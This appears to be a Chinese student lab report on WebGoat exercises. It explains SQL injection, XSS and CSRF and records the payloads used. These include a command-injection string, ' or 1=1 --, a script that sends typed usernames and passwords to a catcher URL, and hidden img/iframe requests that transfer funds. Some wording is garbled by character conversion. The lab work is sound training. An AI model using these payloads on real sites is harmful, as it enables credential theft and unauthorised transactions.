(1)SQL注入攻击原理,如何防护java
(2)XSS攻击的原理,如何防护git
(3)CSRF攻击原理,如何防护web
WebGoat
SQL注入攻击sql
XSS攻击数据库
CSRF攻击浏览器
(1)SQL注入攻击原理,如何防护
原理:
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行,可能实现对后台数据库进行各类操做,甚至形成破坏后台数据库等严重后果。
SQL注入通常分为普通注入和盲注:
普通注入:后台数据库会回显有价值的提示信息,经过这些可能的报错信息能够更容易地进行注入,适合新手入门训练。
盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者须要运用脚本经过仅有的判断信息(好比时间差)对表中的每个字段进行探测,从而实现注入。
防护:不要在服务器端放置备份的文件以避免受到感染,或备份的文件含有漏洞,形成切入点;
将数据库里的内容进行加密处理使其不具备特殊的意义。安全
(2)XSS攻击的原理,如何防护
原理:
攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
防护:在表单提交或者url参数传递前,对须要的参数进行过滤;
检查用户输入的内容中是否有非法内容。服务器
(3)CSRF攻击原理,如何防护
原理:
CSRF攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统,相似于钓鱼。如用户当前已经登陆了邮箱,或bbs,同时用户又在使用另一个,已经被你控制的站点,咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,因为当前你的浏览器状态已是登录状态,因此session登录cookie信息都会跟正常的请求同样,纯自然的利用当前的登录状态,让用户在不知情的状况下,帮你发帖或干其余事情。
防护:添加加随机验证;
设定cookie域。cookie
因WebGoat默认使用8080端口,因此开启前先用netstat -tupln | grep 8080查看端口是否被占用,若是被占用,用kill 进程号终止占用8080端口的进程。
普通安装,命令行输入java -jar webgoa t-container-7.0.1-war-exec.jar。
浏览器转:localhost:8080/WebGoat 直接用默认用户名密码登陆便可,开始练习。
网络
1.命令注入
先在左侧点击Injection Flaws,Command Injection,再右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
点击view,能够看到执行指令后的网络端口使用状况和IP地址。攻击成功!
2.日志欺骗
点击Injection Flaws-Log Spoofing
在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
输入密码后点击Login,能够看到webgoat在Login Fail那行显示,咱们本身添加的语句在下一行显示。
3.LAB: SQL Injection
在密码框输入' or 1=1 --,登陆失败,会发现密码只有一部分输入,说明密码长度有限制。
咱们在密码框右键选择inspect Element审查网页元素对长度进行修改 。
从新输入' or 1=1 --,登陆成功。
1. Phishing with XSS 跨站脚本钓鱼攻击
一个带用户名和密码输入框的表格以下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
在XSS-Phishing with XSS搜索上面代码,能够看到页面中增长了一个表单。
如今咱们须要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
这段代码会读取咱们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
将上面两段代码合并搜索。
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
咱们在搜索到的表单中输入用户名和密码,点击登陆,WebGoat会将输入的信息捕获并反馈给咱们。
2.存储型XSS攻击(Stored XSS Attacks)
在title中任意输入字符,留言板中输入<script>alert("I am 20165305. You've been attacked!!!");</script>
点击刚才输入的title,而后会弹出一个对话框,证实XSS攻击成功。
3. Reflected XSS Attacks 反射型XSS攻击
在Enter your three digit access code:
中输入<script>alert("I am 20165305");</script>
点击Purchase
,成功显示警告框,内容为咱们script脚本指定的内容。
1.Cross Site Request Forgery(CSRF)
点击XSS
-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters
中的src和menu值.
在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=520&menu=900&transferFunds=10000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=10000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title,提交后,在Message List中生成以Title命名的连接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的。
2. CSRF Prompt By-Pass
点击XSS-CSRF Prompt By-Pass
同上面的攻击,查看页面右下方的Parameters中的src和menu值,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=536&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=536&menu=900&transferFunds=CONFIRM"> </iframe>
点击Submit生成以Title命名的连接,点击连接,攻击成功
本次实验基本上都是在webgoat里面实现的,因此我认为本次实验的难点在于webgoat的使用。在webgoat的列表中有不少的模块,而我从里面选了一些比较典型的进行了实验。我认为本次实验还不是很难。